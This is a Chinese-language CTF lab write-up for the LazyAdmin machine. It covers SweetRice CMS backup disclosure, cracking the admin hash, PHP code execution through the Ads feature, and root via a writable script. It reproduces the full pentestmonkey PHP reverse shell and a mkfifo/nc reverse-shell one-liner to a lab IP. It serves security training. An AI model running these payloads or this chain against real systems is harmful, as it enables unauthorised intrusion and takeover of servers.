CTF靶机 LazyAdmin 笔记

LazyAdmin

靶机介绍：简单的linux机器来练习你的技能

靶机标签：安全，Linux

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Nmap 扫描开发端口

开放了22 / 80端口

nmap -A 10.10.239.65 -p-

首先访问80页面 是apache的默认页面

用dirbuster扫描网站目录

/content/as下是个登录页面。

常见的弱口令试了一下，都不行。

网站下面有个CMS信息 SweetRice CMS

先到exploit-db上查找对应的漏洞

有备份披露，任意文件上传，php代码执行。。。

简单的看了一下EXP文件上传和代码执行都要登录后台实现

先看下备份泄露能不能进后台

路径：http://localhost/inc/mysql_backup

访问一下确实存在数据库备份

还存在配置不当，目录遍历漏洞

把数据库备份下载到本地，查看到一堆SQL语句，里面有一个比较显眼的MD5，对应的账号manager

破解的对应密码：Password123

登录到后台

 

首先想到用任意文件上传拿WebShell，试了任意文件上传的EXP没有成功。

然后试了PHP代码执行。在Ads广告管理功能处。

先写个phpinfo()测试一下。Ads name就是PHP文件名。Ads code 写PHP代码

加上目录遍历方便多了

访问解析成功

直接上传一个PHP脚本反弹一个Shell

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.


set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;


//
// Daemonise ourself if possible to avoid zombies later
//


// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();
    
    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }
    
    if ($pid) {
        exit(0);  // Parent exits
    }


    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }


    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}


// Change to a safe directory
chdir("/");


// Remove any umask we inherited
umask(0);


//
// Do the reverse shell...
//


// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}


// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);


$process = proc_open($shell, $descriptorspec, $pipes);


if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}


// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);


printit("Successfully opened reverse shell to $ip:$port");


while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }


    // Check for end of STDOUT
    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }


    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);


    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }


    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }


    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}


fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);


// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
    if (!$daemon) {
        print "$string\n";
    }
}


?>

攻击机监听端口，访问反弹Shell.php

反弹成功

先查看一下user.txt

提权查看一下能用sudo提权 是个.pl文件

先用python获得一个交互式的TTY

python -c  'import pty; pty.spawn("/bin/bash")'

查一下backup.pl文件。backup.pl文件执行了另一个/etc/copy.sh

查看copo.sh文件执行了一个反向shell

再copy.sh文件中插入反弹语句

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.1.46.228 4567 >/tmp/f" >/etc/copy.sh

攻击机另起监听，反弹Shell

读取root.txt